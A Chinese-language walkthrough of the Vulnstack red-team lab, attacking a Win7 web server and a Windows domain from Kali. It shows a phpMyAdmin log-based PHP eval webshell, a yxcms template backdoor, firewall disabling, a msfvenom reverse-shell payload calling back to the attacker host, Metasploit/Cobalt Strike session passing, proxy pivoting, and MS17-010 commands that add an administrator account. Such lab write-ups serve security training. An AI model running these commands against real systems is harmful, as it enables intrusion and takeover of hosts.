目录
靶场搭建
靶机下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
靶机下载完成后解压,使用vmware打开虚拟机,有三台虚拟机:Win7、Win2003、Win2008
默认密码hongrisec@2019
拓扑图
注意看网络分布。
(图中ip有变)
配置网络
登录进去之后,首先我们要设置好网络。
- Win7作为Web服务器需要有一个外网网卡。打开虚拟机设置,点击下面的添加,选择添加网络适配器。现在Win7就有2个网卡了。点击第一个网络适配器,设置成仅主机模式。第二个网络适配器设置成桥接模式,设置桥接模式的时候win7会弹出来一个界面,我们选择公用网络。
- Win2k3和Win2008的网络适配器设置成仅主机模式。
- kali的网络适配器设置成桥接模式。
设置虚拟网络配置:点击vmware的编辑–>虚拟网络编辑器,我是设置成这样:
然后发现仅主机模式的虚拟机执行ipconfig命令显示的不是192.168.10.0的网段,是因为手动分配了地址,我们改成自动分配地址就好了。
打开虚拟机的网络适配器:
右键属性–>双击IPv4–>选择自动获得IP地址和DNS服务地址。
这个操作对每个需要用到的网卡都 要做。
然后多试几次
ipconfig
,若还是有问题,把网卡禁用再重启。最后互相ping一下保证连通(Win7有防火墙,kali ping不通它)
然后将域内的主机的DNS服务器地址改成Win2008(域控)的ip地址。
主机密码IP描述Win7hongrisec@2019192.168.10.131/192.168.43.141web服务器Win2K3admin@123192.168.10.129域成员Win2008admin#123192.168.10.130域控kali192.168.43.19攻击机
win7开启phpstudy,对外提供web服务。
外网打点web服务器
信息搜集
nmap扫端口服务
nmap扫(开防火墙后ping不了都
namp 192.168.43.141
80端口开放。
dirsearch目录扫描
dirsearch -u http://192.168.43.141/ -e * --timeout=2 -t 1 -x 400,403,404,500,503,429
发现phpmyadmin,测试弱密码root/root,成功进入。
phpmyadmin日志getshell
通过
select @@basedir
查找绝对路径.
尝试用into outfile写马,但是失败。
SHOW GLOBAL VARIABLES LIKE '%secure%'#查看数据库是否有导入权限,看能否直接导入木马#secure_file_priv是NULL没有权限
尝试利用日志get shell
phpMyAdmin 渗透利用总结 - 腾讯云开发者社区-腾讯云 (tencent.com)
(1) 开启日志记录:
set global general_log ="ON";
(2) 查看当前的日志目录:
show variables like 'general%';
(3) 指定日志文件
set global general_log_file ="C:/phpStudy/WWW/404.php";
(4) 写入执行代码:
select "<?php phpinfo();@eval($_POST['cmd']);?>";
把下面代码放到查询框执行即可:
setglobal general_log ="ON";show variables like'general%';setglobal general_log_file ="C:/phpStudy/WWW/404.php";select"<?php phpinfo();@eval($_POST['cmd']);?>";#一次没成功就把这句再执行
然后用菜刀连接
直接就是administrator
然后要让它上线msf和cs
yxcms
后台getshell
用菜刀连接后,发现目录里还存在另外一个网站yxcms
通过观察发现网站公告有后台地址与账号密码:
登录后台后,点击前台模板–>新建,写一个后门文件。
浏览器搜索yxcms的模板文件路径,然后访问我们的后门文件从而getshell。
http://192.168.43.141/yxcms/protected/apps/default/view/default/shell.php
xss
在留言本留言xss,然后在后台查看,发现弹窗:
关闭win7防火墙
netsh advfirewall set allprofiles state off
上线msf&cs
上线msf
利用msfvenom创建一个后门程序:
msfvenom -p windows/meterperter_reverse_tcp LHOST=192.168.43.19 LPORT=12345 -f exe -o 12345.exe
利用菜刀上传到Win7上。
然后msf开启监听
use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_tcp
set lhost 192.168.43.19
set lport 12345
run
利用菜刀的虚拟终端运行我们的后门程序。
然后就成功上线msf了
可以getsystem提权
getsystem
上线cs
在kali启动服务端
./teamserver 192.168.43.19 12345
然后生成CS后门
后门通过菜刀上传,然后执行,接着就会在CS上线了。
msf传cs
background
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set disablepayloadhandler trueset lhost 192.168.43.19
set lport 8888#这里的ip端口要和CS的监听ip端口一样set session 3
run
在win10的CS上观察,发现成功上线CS。
cs传msf
在CS上建立新的foreign监听:
在msf配置session,端口一致
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.43.19
set lport 7777
run
之后在CS上新建会话,选用新建的foreign监听:
最后观察到联动成功
开代理
cs+msf/Proxifer
在CS上建立SOCKS
可以通过view–>proxy pivots来观察proxy pivots模块。
msf要使用这个代理就选中后点击Tunnel
打开msf,复制下面的进去:
setg Proxies socks4:192.168.43.19:1080
还可以使用Proxifer实现全局代理
msf+proxychains
run post/multi/manage/autoroute #新建路由
run autoroute -p #查看路由信息
挂起会话,建立socks:
background
use auxiliary/server/socks_proxy
set version 4a
set srvhost 127.0.0.1
run
使用
jobs
查看状态
修改proxychain文件
vim /etc/proxychains.conf
###
最后一行改成
socks4 127.0.0.1 1080
然后在使用的工具前面加上proxychains就可以了,比如:
proxychains4 nmap -Pn -sT 192.168.10.129
内网信息搜集
基本信息搜集
systeminfo
net view
run post/windows/gather/enum_applications #安装的软件信息
存活主机
使用msf内置模块进行存活主机探测
auxiliary/scanner/discovery/udp_sweep #基于udp协议发现内网存活主机
auxiliary/scanner/discovery/udp_probe #基于udp协议发现内网存活主机
auxiliary/scanner/netbios/nbname #基于netbios协议发现内网存活主机
使用arp_scanner模块
use post/windows/gather/arp_scanner
set rhosts 192.168.10.0/24
set session 0#这里填background后的sessionid
run
或者直接用命令
arp -a
端口扫描
内网主机端口扫描:
proxychains nmap -Pn -sT 192.168.10.129
基于tcp进行端口扫描(默认扫描1-10000)
auxiliary/scanner/portscan/tcp
服务探测
内网主机服务探测
auxiliary/scanner/ftp/ftp_version #发现内网ftp服务,基于默认21端口
auxiliary/scanner/ssh/ssh_version #发现内网ssh服务,基于默认22端口
auxiliary/scanner/telnet/telnet_version #发现内网telnet服务,基于默认23端口
auxiliary/scanner/dns/dns_amp #发现dns服务,基于默认53端口
auxiliary/scanner/http/http_version #发现内网http服务,基于默认80端口
auxiliary/scanner/http/title #探测内网http服务的标题
auxiliary/scanner/smb/smb_version #发现内网smb服务,基于默认的445端口
auxiliary/scanner/mssql/mssql_schemadump #发现内网SQLServer服务,基于默认的1433端口
auxiliary/scanner/oracle/oracle_hashdump #发现内网oracle服务,基于默认的1521端口
auxiliary/scanner/mysql/mysql_version #发现内网mysql服务,基于默认3306端口
auxiliary/scanner/rdp/rdp_scanner #发现内网RDP服务,基于默认3389端口
auxiliary/scanner/redis/redis_server #发现内网Redis服务,基于默认6379端口
auxiliary/scanner/db2/db2_version #探测内网的db2服务,基于默认的50000端口
auxiliary/scanner/netbios/nbname #探测内网主机的netbios名字
nmap的vuln漏洞扫描
之前通过基本信息搜集发现win7有nmap
找到nmap路径,利用菜刀的虚拟终端执行:
nmap --script=vuln 192.168.10.129
发现192.168.10.129(win2k3)可能有
ms17_010\ms08_067
漏洞
扫一下192.168.10.130(win8k)
nmap --script=vuln 192.168.10.130
可能有
ms17_010
漏洞。
ms17_010扫描
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.10.129
run
说明192.168.10.129(win2k3)有这个漏洞
再扫下192.168.10.130(win2008)
发现确实是有的
内网攻击
ms08_068
nmap扫出来192.168.10.129(win2k3)可能有ms08_067漏洞。所以我们试试。
use exploit/windows/smb/ms08_067_netapi
set rhosts 192.168.10.129
run
不稳定,没打成功。
ms17_010
use auxiliary/admin/smb/ms17_010_command
setcommand net user
set rhosts 192.168.10.129
run
运行成功
尝试添加用户
setcommand net user ja1e428 ja1e@428 /add
#这里的密码要满足复杂度不然会报错
再次
set command net user
并
run
执行,发现成功。
然后把添加的用户加入管理员组:
setcommand net localgroup administrators ja1e428 /add
成功
利用23端口telnet服务上传漏洞,首先通过ms17_010开启23端口与telnet服务
setcommand sc config tlntsvr start= auto
run
set COMMAND net start telnet
run
查看是否成功打开23端口
setcommandnetstat -an
run
进行telnet连接
use auxiliary/scanner/telnet/telnet_login
set rhosts 192.168.10.129
set username ja1e428
set password ja1e@428
run
sessions #可以看到shell
尝试利用telnet,失败了。
但是可以利用proxychains工具连接成功(要开启msf的socks反向代理哦
proxychains telnet 192.168.10.129
ja1e428
ja1e@428
成功拿下192.168.10.129这台域成员主机。
利用ms17_010测试一下win2008,也是成功的。这两台域内主机都可以用ms17_010拿下。
版权归原作者 R0seW1thHer 所有, 如有侵权,请联系我们删除。